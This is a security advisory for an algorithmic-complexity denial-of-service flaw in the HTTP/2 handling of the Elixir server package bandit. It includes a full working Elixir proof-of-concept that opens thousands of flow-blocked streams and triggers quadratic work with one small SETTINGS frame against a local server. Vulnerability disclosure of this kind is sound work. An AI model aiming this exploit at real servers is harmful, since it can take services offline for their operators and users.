Inefficient Algorithmic Complexity Affecting bandit package, versions >=0.3.6 <1.14.0

bandit is a HTTP server for Plug and WebSock apps.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via do_pending_sends/2 in lib/bandit/http2/connection.ex, which processes queued HTTP/2 sends with O(n²) complexity when flow-control-blocked streams are present. When a connection has a large number of streams blocked on flow control, each incoming SETTINGS or WINDOW_UPDATE frame triggers a retry of every pending send, and each retry removes its entry from the queue using List.delete/2 - a linear scan - resulting in quadratic list operations proportional to the number of blocked streams. An attacker can open a large number of HTTP/2 streams, block their responses by withholding flow-control window updates, and then send a single small frame (e.g. a 9-byte SETTINGS frame) to cause severe processing delays and crash the server.

Mix.install([{:bandit, "1.12.5"}])

defmodule PendingPlug do
  def init(opts), do: opts

  def call(conn, _opts) do
    send(:poc_runner, :plug_started)
    Plug.Conn.send_resp(conn, 200, :binary.copy("x", 20_000))
  end
end

defmodule QuadraticPendingPoc do
  @preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
  @streams 3_000

  def run do
    Process.register(self(), :poc_runner)
    {:ok, server} = Bandit.start_link(plug: PendingPlug, ip: {127, 0, 0, 1}, port: 0, startup_log: false)
    {:ok, {_ip, port}} = ThousandIsland.listener_info(server)
    {:ok, socket} = :gen_tcp.connect(~c"127.0.0.1", port, [:binary, active: false, nodelay: true])
    :ok = :gen_tcp.send(socket, @preface <> frame(0x4, 0, 0, <<>>))
    {:ok, _} = :gen_tcp.recv(socket, 0, 5_000)
    :ok = :gen_tcp.send(socket, frame(0x4, 0x1, 0, <<>>))

    {block, _} = HPAX.encode(headers(), HPAX.new(4096))
    block = IO.iodata_to_binary(block)
    requests = for n <- 1..@streams, do: frame(0x1, 0x5, n * 2 - 1, block)
    :ok = :gen_tcp.send(socket, requests)
    started = collect_started(0, @streams)

    # Flush initial responses and let every response attempt enter pending_sends.
    Process.sleep(500)
    _ = drain(socket, 100)

    {elapsed_us, pong?} =
      :timer.tc(fn ->
        :ok = :gen_tcp.send(socket, frame(0x4, 0, 0, <<>>) <> frame(0x6, 0, 0, "QUADRATI"))
        wait_for_ping(socket, <<>>, 15_000)
      end)

    elapsed_ms = Float.round(elapsed_us / 1_000, 2)
    IO.puts("blocked response streams: #{started}")
    IO.puts("trigger frame bytes: 9")
    IO.puts("SETTINGS-to-PING processing time: #{elapsed_ms} ms")
    IO.puts("PING acknowledged: #{pong?}")

    :gen_tcp.close(socket)
    Supervisor.stop(server)

    if started == @streams and pong? and elapsed_us > 50_000 do
      IO.puts("VERIFIED: one 9-byte SETTINGS frame forced quadratic retry work over #{@streams} pending sends in #{elapsed_ms} ms")
    else
      IO.puts("NOT VERIFIED: started=#{started}, pong=#{pong?}, elapsed_ms=#{elapsed_ms}")
    end
  end

  defp headers do
    Enum.map([{":method", "GET"}, {":scheme", "http"}, {":path", "/"}, {":authority", "localhost"}], fn {k, v} -> {:no_store, k, v} end)
  end

  defp collect_started(count, target) when count == target, do: count
  defp collect_started(count, target) do
    receive do
      :plug_started -> collect_started(count + 1, target)
    after
      10_000 -> count
    end
  end

  defp wait_for_ping(socket, buffer, timeout) do
    if :binary.match(buffer, "QUADRATI") != :nomatch do
      true
    else
      case :gen_tcp.recv(socket, 0, timeout) do
        {:ok, data} -> wait_for_ping(socket, buffer <> data, timeout)
        {:error, _} -> false
      end
    end
  end

  defp drain(socket, timeout, acc \\ <<>>) do
    case :gen_tcp.recv(socket, 0, timeout) do
      {:ok, data} -> drain(socket, 0, acc <> data)
      {:error, _} -> acc
    end
  end

  defp frame(type, flags, stream_id, payload),
    do: <<byte_size(payload)::24, type::8, flags::8, 0::1, stream_id::31, payload::binary>>
end

QuadraticPendingPoc.run()

Note: The PoC states it uses bandit version 1.12.5 and connects over raw TCP to a locally started HTTP/2 server with no non-default configuration.

• cna.erlef.org
• GitHub Advisory
• GitHub Commit
• GitHub Commit
• osv.dev